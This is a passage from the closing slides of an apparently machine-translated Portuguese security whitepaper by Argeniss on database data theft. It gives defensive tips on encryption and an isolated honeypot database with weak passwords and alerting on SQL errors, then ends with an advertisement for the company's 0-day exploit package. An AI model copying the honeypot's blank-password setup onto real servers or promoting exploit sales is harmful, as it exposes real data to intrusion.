(backups, arquivos de dados, etc.) a nível de banco de dados: criptografia de coluna (bases de dados APIs de criptografia, soluções de
terceiros)
● Isolar o servidor
• Todas as conexões de saída deve ser bloqueado.
● Configurá-lo para registrar tudo, traços e alertas definidos executado.
● Configurar outros serviços para criar um ambiente realista.
● Definir senhas em branco ou de fácil adivinhação.
- 26- www.argeniss.com
Argeniss - Segurança da Informação
● tentativas de login.
● sintaxe SQL incorrecta.
● erros de declaração da União.
● Permissões erros.
- 27- www.argeniss.com
Argeniss - Segurança da Informação
Conclusão:
Como acabamos de ver a ameaça de roubo de dados é real, roubo de dados é bastante simples se você sabe como fazê-lo e os bandidos
estão aprendendo rápido, eles estão investindo e ferramentas de ataque edifício, enquanto as empresas parecem estar dormindo e dando de
graça seus dados . Um simples erro pode levar ao comprometimento do banco de dados. Se você não proteger seus bancos de dados, mais
cedo ou mais tarde você vai ser hackeado, isso significa muito dinheiro perde e no pior caso, correndo para fora do negócio. defesa de
perímetro não é suficiente, você deve proteger seus bancos de dados fazendo fortes investimentos em matéria de protecção de dados.
Spam:
Se você precisar de informações serviços de segurança não fazem como Oracle, entre em contato conosco.
Não seja como Oracle, cortar seus próprios servidores antes que alguém o faça It !, confira Argeniss final 0 dias
Exploits pacote
http://www.argeniss.com/products.html
- 28- www.argeniss.com
Argeniss - Segurança da Informação
Referências:
- 29- www.argeniss.com
Argeniss - Segurança da Informação
Sobre Argeniss
Argeniss é uma empresa de segurança da informação especializada na aplicação e segurança de banco de dados, oferecemos serviços como
informações de vulnerabilidade, explorar o desenvolvimento, auditoria de software, testes de penetração e formação, também oferecemos
exploits para software amplamente implantado.
Contate-Nos
- 30- www.argeniss.com